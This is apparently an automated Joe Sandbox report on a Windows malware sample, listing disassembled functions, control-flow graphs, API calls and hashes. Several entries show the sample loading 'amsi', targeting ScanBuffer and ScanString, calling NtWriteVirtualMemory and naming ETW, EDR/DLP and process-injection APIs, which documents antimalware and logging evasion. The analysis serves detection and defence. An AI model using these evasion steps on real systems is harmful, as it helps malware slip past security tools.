                                                                                                                                                                      • ExitProcess.KERNEL32(00000000,OpenSession,02CF137C,02CBAFD0,ScanBuffer,02CF137C,02CBAFD0,Initialize,02CF137C,02CBAFD0,00000000,00000000,00000000,ScanString,02CF137C,02CBAFD0), ref: 02CBAA1D
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Library$CloseFileHandle$AddressCreateFreeLoadPathProcProcess$AttributesCacheExitFlushInstructionModuleNameName_ResumeThreadUserWrite
                                                                                                                                                                      • String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
                                                                                                                                                                      • API String ID: 2481178504-1225450241
                                                                                                                                                                      • Opcode ID: 2837232feb515e935a201056dca726f184c2564ed2cc47f5c62ec68f188c2791
                                                                                                                                                                      • Instruction ID: 3585d7867045a3c691e203e0fa467ff06815931ff681c41b080cfcd9b33ebee6
                                                                                                                                                                      • Opcode Fuzzy Hash: 2837232feb515e935a201056dca726f184c2564ed2cc47f5c62ec68f188c2791
                                                                                                                                                                      • Instruction Fuzzy Hash: 5A431AB5A40128DFDF25EB64DD949DE73BBBF84304F1041E2E449AB214DA31AE86EF41
                                                                                                                                                                      Function 02C91724 Relevance: 9.0, APIs: 7, Instructions: 289sleepCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 10411 2c91724-2c91736 10412 2c91968-2c9196d 10411->10412 10413 2c9173c-2c9174c 10411->10413 10416 2c91a80-2c91a83 10412->10416 10417 2c91973-2c91984 10412->10417 10414 2c9174e-2c9175b 10413->10414 10415 2c917a4-2c917ad 10413->10415 10418 2c9175d-2c9176a 10414->10418 10419 2c91774-2c91780 10414->10419 10415->10414 10422 2c917af-2c917bb 10415->10422 10423 2c91a89-2c91a8b 10416->10423 10424 2c91684-2c916ad VirtualAlloc 10416->10424 10420 2c91938-2c91945 10417->10420 10421 2c91986-2c919a2 10417->10421 10425 2c9176c-2c91770 10418->10425 10426 2c91794-2c917a1 10418->10426 10428 2c917f0-2c917f9 10419->10428 10429 2c91782-2c91790 10419->10429 10420->10421 10427 2c91947-2c9195b Sleep 10420->10427 10430 2c919b0-2c919bf 10421->10430 10431 2c919a4-2c919ac 10421->10431 10422->10414 10432 2c917bd-2c917c9 10422->10432 10433 2c916df-2c916e5 10424->10433 10434 2c916af-2c916dc call 2c91644 10424->10434 10427->10421 10435 2c9195d-2c91964 Sleep 10427->10435 10441 2c917fb-2c91808 10428->10441 10442 2c9182c-2c91836 10428->10442 10437 2c919d8-2c919e0 10430->10437 10438 2c919c1-2c919d5 10430->10438 10436 2c91a0c-2c91a22 10431->10436 10432->10414 10439 2c917cb-2c917de Sleep 10432->10439 10434->10433 10435->10420 10444 2c91a3b-2c91a47 10436->10444 10445 2c91a24-2c91a32 10436->10445 10450 2c919fc-2c919fe call 2c915cc 10437->10450 10451 2c919e2-2c919fa 10437->10451 10438->10436 10439->10414 10448 2c917e4-2c917eb Sleep 10439->10448 10441->10442 10443 2c9180a-2c9181e Sleep 10441->10443 10446 2c918a8-2c918b4 10442->10446 10447 2c91838-2c91863 10442->10447 10443->10442 10453 2c91820-2c91827 Sleep 10443->10453 10457 2c91a49-2c91a5c 10444->10457 10458 2c91a68 10444->10458 10445->10444 10454 2c91a34 10445->10454 10459 2c918dc-2c918eb call 2c915cc 10446->10459 10460 2c918b6-2c918c8 10446->10460 10455 2c9187c-2c9188a 10447->10455 10456 2c91865-2c91873 10447->10456 10448->10415 10461 2c91a03-2c91a0b 10450->10461 10451->10461 10453->10441 10454->10444 10463 2c918f8 10455->10463 10464 2c9188c-2c918a6 call 2c91500 10455->10464 10456->10455 10462 2c91875 10456->10462 10465 2c91a6d-2c91a7f 10457->10465 10466 2c91a5e-2c91a63 call 2c91500 10457->10466 10458->10465 10471 2c918fd-2c91936 10459->10471 10474 2c918ed-2c918f7 10459->10474 10467 2c918ca 10460->10467 10468 2c918cc-2c918da 10460->10468 10462->10455 10463->10471 10464->10471 10466->10465 10467->10468 10468->10471
                                                                                                                                                                      APIs
                                                                                                                                                                      • Sleep.KERNEL32(00000000,?,02C91FC1), ref: 02C917D0
                                                                                                                                                                      • Sleep.KERNEL32(0000000A,00000000,?,02C91FC1), ref: 02C917E6
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Sleep
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3472027048-0
                                                                                                                                                                      • Opcode ID: c6cbd8020f6b3688db7645abde243281b7737cab0b0cf6b3edc9723a6eb81332
                                                                                                                                                                      • Instruction ID: d4c2139503a277432d4f88cecb6fc33069df8cee91d76761aa17c24c84f50c4a
                                                                                                                                                                      • Opcode Fuzzy Hash: c6cbd8020f6b3688db7645abde243281b7737cab0b0cf6b3edc9723a6eb81332
                                                                                                                                                                      • Instruction Fuzzy Hash: 94B134B2A003528FDF15CF28D88A355BBE1EB853A0F0D86AED55D8F385C7B0A551CB90
                                                                                                                                                                      Function 02CA8704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35libraryCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadLibraryW.KERNEL32(amsi), ref: 02CA870D
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02CA8148,?,?,00000000,00000000,?,02CA8061,00000000,KernelBASE,00000000,00000000,02CA8088), ref: 02CA810D
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CA8113
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(?,?), ref: 02CA8125
                                                                                                                                                                        • Part of subcall function 02CA7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CA7D6C
                                                                                                                                                                      • FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02CA876C
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
                                                                                                                                                                      • String ID: DllGetClassObject$W$amsi
                                                                                                                                                                      • API String ID: 941070894-2671292670
                                                                                                                                                                      • Opcode ID: 6db10336fd3c75421e6ea40b334f16c405adf270595a5bad1bdad845e3f56861
                                                                                                                                                                      • Instruction ID: 66685ab966a206059265748d74dc9864956d382c38a30a4fbd8747c4203929af
                                                                                                                                                                      • Opcode Fuzzy Hash: 6db10336fd3c75421e6ea40b334f16c405adf270595a5bad1bdad845e3f56861
                                                                                                                                                                      • Instruction Fuzzy Hash: 10F0C85054C382BAE300E674CC55F4FBFCD5B51228F048B1CB1E8962D2D679D10497B7
                                                                                                                                                                      Function 02C91A8C Relevance: 7.7, APIs: 6, Instructions: 175sleepCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 10499 2c91a8c-2c91a9b 10500 2c91b6c-2c91b6f 10499->10500 10501 2c91aa1-2c91aa5 10499->10501 10502 2c91c5c-2c91c60 10500->10502 10503 2c91b75-2c91b7f 10500->10503 10504 2c91b08-2c91b11 10501->10504 10505 2c91aa7-2c91aae 10501->10505 10511 2c916e8-2c9170b call 2c91644 VirtualFree 10502->10511 10512 2c91c66-2c91c6b 10502->10512 10507 2c91b3c-2c91b49 10503->10507 10508 2c91b81-2c91b8d 10503->10508 10504->10505 10506 2c91b13-2c91b27 Sleep 10504->10506 10509 2c91adc-2c91ade 10505->10509 10510 2c91ab0-2c91abb 10505->10510 10506->10505 10513 2c91b2d-2c91b38 Sleep 10506->10513 10507->10508 10514 2c91b4b-2c91b5f Sleep 10507->10514 10516 2c91b8f-2c91b92 10508->10516 10517 2c91bc4-2c91bd2 10508->10517 10520 2c91ae0-2c91af1 10509->10520 10521 2c91af3 10509->10521 10518 2c91abd-2c91ac2 10510->10518 10519 2c91ac4-2c91ad9 10510->10519 10528 2c9170d-2c91714 10511->10528 10529 2c91716 10511->10529 10513->10504 10514->10508 10525 2c91b61-2c91b68 Sleep 10514->10525 10524 2c91b96-2c91b9a 10516->10524 10523 2c91bd4-2c91bd9 call 2c914c0 10517->10523 10517->10524 10520->10521 10522 2c91af6-2c91b03 10520->10522 10521->10522 10522->10503 10523->10524 10530 2c91bdc-2c91be9 10524->10530 10531 2c91b9c-2c91ba2 10524->10531 10525->10507 10534 2c91719-2c91723 10528->10534 10529->10534 10530->10531 10533 2c91beb-2c91bf2 call 2c914c0 10530->10533 10535 2c91bf4-2c91bfe 10531->10535 10536 2c91ba4-2c91bc2 call 2c91500 10531->10536 10533->10531 10538 2c91c2c-2c91c59 call 2c91560 10535->10538 10539 2c91c00-2c91c28 VirtualFree 10535->10539
                                                                                                                                                                      APIs
                                                                                                                                                                      • Sleep.KERNEL32(00000000,?,?,00000000,02C91FE4), ref: 02C91B17
                                                                                                                                                                      • Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02C91FE4), ref: 02C91B31
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Sleep
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3472027048-0
                                                                                                                                                                      • Opcode ID: 5e54109dc13896389c8d3a48031464c4889d8ac4c07ee031865995a37f2c3374
                                                                                                                                                                      • Instruction ID: eb0fbc63c4f0fa94b79905acb151d4943fb133a615f339d0f377b56a6a3b9093
                                                                                                                                                                      • Opcode Fuzzy Hash: 5e54109dc13896389c8d3a48031464c4889d8ac4c07ee031865995a37f2c3374
                                                                                                                                                                      • Instruction Fuzzy Hash: 0151F3B16413428FEF15CF68C98A756BBD1AB85324F1C86AED44CCB286D7F0C945CB91
                                                                                                                                                                      Function 02CAE2EE Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112networkCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                      • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02CAE42E
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CheckConnectionInternet
                                                                                                                                                                      • String ID: Initialize$OpenSession$ScanBuffer
                                                                                                                                                                      • API String ID: 3847983778-3852638603
                                                                                                                                                                      • Opcode ID: 2eead1a982a3136d0ac5c39a95e8133c051e4bf24b565c30c421cd9099af7fa5
                                                                                                                                                                      • Instruction ID: a28250016c940ab937c5266ec8928a490452ef429d0c28bda56c683bb3f2f32d
                                                                                                                                                                      • Opcode Fuzzy Hash: 2eead1a982a3136d0ac5c39a95e8133c051e4bf24b565c30c421cd9099af7fa5
                                                                                                                                                                      • Instruction Fuzzy Hash: C0410971B501099FEF24EBE4C8A5A9EB7FEEF48718F214436E041A7240DA74AD02DF54
                                                                                                                                                                      Function 02CA881C Relevance: 6.1, APIs: 4, Instructions: 65libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadLibraryA.KERNEL32(00000000,00000000,02CA8903), ref: 02CA8850
                                                                                                                                                                      • GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02CA8903), ref: 02CA8860
                                                                                                                                                                      • GetProcAddress.KERNEL32(74AE0000,00000000), ref: 02CA8879
                                                                                                                                                                        • Part of subcall function 02CA7CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02CA7D6C
                                                                                                                                                                      • FreeLibrary.KERNEL32(74AE0000,00000000,02CF1388,Function_000065D8,00000004,02CF1398,02CF1388,000186A3,00000040,02CF139C,74AE0000,00000000,00000000,00000000,00000000,02CA8903), ref: 02CA88E3
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Library$AddressFreeHandleLoadMemoryModuleProcVirtualWrite
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1543721669-0
                                                                                                                                                                      • Opcode ID: 0e2a7ed2daba39b0029f3f7331b5940af68f755c4cf2e1f913b33bb167a91de5
                                                                                                                                                                      • Instruction ID: 3b3a87370f29b2b424aa11c4f86fb4303fa851873c69c646dbb0b77325e8406f
                                                                                                                                                                      • Opcode Fuzzy Hash: 0e2a7ed2daba39b0029f3f7331b5940af68f755c4cf2e1f913b33bb167a91de5
                                                                                                                                                                      • Instruction Fuzzy Hash: 5A115EB1A40304EFEF94FBB8CC29A5E77AEEB45710F550464760CE7A80DAB4DA05AB14
                                                                                                                                                                      Function 02CA8406 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02CA8088,?,?,00000000,?,02CA79FE,ntdll,00000000,00000000,02CA7A43,?,?,00000000), ref: 02CA8056
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNELBASE(?), ref: 02CA806A
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02CA8148,?,?,00000000,00000000,?,02CA8061,00000000,KernelBASE,00000000,00000000,02CA8088), ref: 02CA810D
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CA8113
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(?,?), ref: 02CA8125
                                                                                                                                                                      • WinExec.KERNEL32(?,?), ref: 02CA8470
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: HandleModule$AddressProc$Exec
                                                                                                                                                                      • String ID: Kernel32$WinExec
                                                                                                                                                                      • API String ID: 2292790416-3609268280
                                                                                                                                                                      • Opcode ID: 3e8cf0ffbcb85eadd2d37a625b6693fb492abf2f0712c050c0e45525a4d8dfcf
                                                                                                                                                                      • Instruction ID: 9d727110faa2906e2971e59fa3b6de66566ec6855885a5a83168516d76c0c33c
                                                                                                                                                                      • Opcode Fuzzy Hash: 3e8cf0ffbcb85eadd2d37a625b6693fb492abf2f0712c050c0e45525a4d8dfcf
                                                                                                                                                                      • Instruction Fuzzy Hash: 8801A474640208FFEB14EFA4DC35F5A77EDE748714F518521F608D7A40D674AD109B64
                                                                                                                                                                      Function 02CA8408 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02CA8088,?,?,00000000,?,02CA79FE,ntdll,00000000,00000000,02CA7A43,?,?,00000000), ref: 02CA8056
                                                                                                                                                                        • Part of subcall function 02CA8018: GetModuleHandleA.KERNELBASE(?), ref: 02CA806A
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02CA8148,?,?,00000000,00000000,?,02CA8061,00000000,KernelBASE,00000000,00000000,02CA8088), ref: 02CA810D
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CA8113
                                                                                                                                                                        • Part of subcall function 02CA80C0: GetProcAddress.KERNEL32(?,?), ref: 02CA8125
                                                                                                                                                                      • WinExec.KERNEL32(?,?), ref: 02CA8470
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: HandleModule$AddressProc$Exec
                                                                                                                                                                      • String ID: Kernel32$WinExec
                                                                                                                                                                      • API String ID: 2292790416-3609268280
                                                                                                                                                                      • Opcode ID: 6a5987156bc1bf08581904ae5080c9dbf8652eb4ca489958d8c8d76449916994
                                                                                                                                                                      • Instruction ID: 29ae43cee4bcd9786aeec38cbddfc9fedbd9a828603414569eadcc1b90016bf3
                                                                                                                                                                      • Opcode Fuzzy Hash: 6a5987156bc1bf08581904ae5080c9dbf8652eb4ca489958d8c8d76449916994
                                                                                                                                                                      • Instruction Fuzzy Hash: 3DF0A474640208FFEB14EFA4DC35F5A77EDE748714F518521F608D7A40D674A9109B64
                                                                                                                                                                      Function 02CA5BAC Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02CA5CF4,?,?,02CA3880,00000001), ref: 02CA5C08
                                                                                                                                                                      • GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02CA5CF4,?,?,02CA3880,00000001), ref: 02CA5C36
                                                                                                                                                                        • Part of subcall function 02C97D10: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,02CA3880,02CA5C76,00000000,02CA5CF4,?,?,02CA3880), ref: 02C97D5E
                                                                                                                                                                        • Part of subcall function 02C97F18: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,02CA3880,02CA5C91,00000000,02CA5CF4,?,?,02CA3880,00000001), ref: 02C97F37
                                                                                                                                                                      • GetLastError.KERNEL32(00000000,02CA5CF4,?,?,02CA3880,00000001), ref: 02CA5C9B
                                                                                                                                                                        • Part of subcall function 02C9A6F8: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,02C9C359,00000000,02C9C3B3), ref: 02C9A717
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CreateErrorFileLast$FormatFullMessageNamePath
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 503785936-0
                                                                                                                                                                      • Opcode ID: bff559249df21a560e5ff8a24dc9ff6989e7ad8fcb8451321120955b4a7f031a
                                                                                                                                                                      • Instruction ID: 0f88e191bd4a6d1e029cfbc11c576315dc4aee47d3b99e9cb859f76f0901a41d
                                                                                                                                                                      • Opcode Fuzzy Hash: bff559249df21a560e5ff8a24dc9ff6989e7ad8fcb8451321120955b4a7f031a
                                                                                                                                                                      • Instruction Fuzzy Hash: 86318F70E007499FDF00EFA8C9957AEB7B6AB48308F908565E504AB380D7755E05DFA1
                                                                                                                                                                      Function 02CAE6B6 Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • RegOpenKeyA.ADVAPI32(?,00000000,02DE5914), ref: 02CAE6FC
                                                                                                                                                                      • RegSetValueExA.ADVAPI32(00000864,00000000,00000000,00000001,00000000,0000001C,00000000,02CAE767), ref: 02CAE734
                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000864,00000864,00000000,00000000,00000001,00000000,0000001C,00000000,02CAE767), ref: 02CAE73F
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
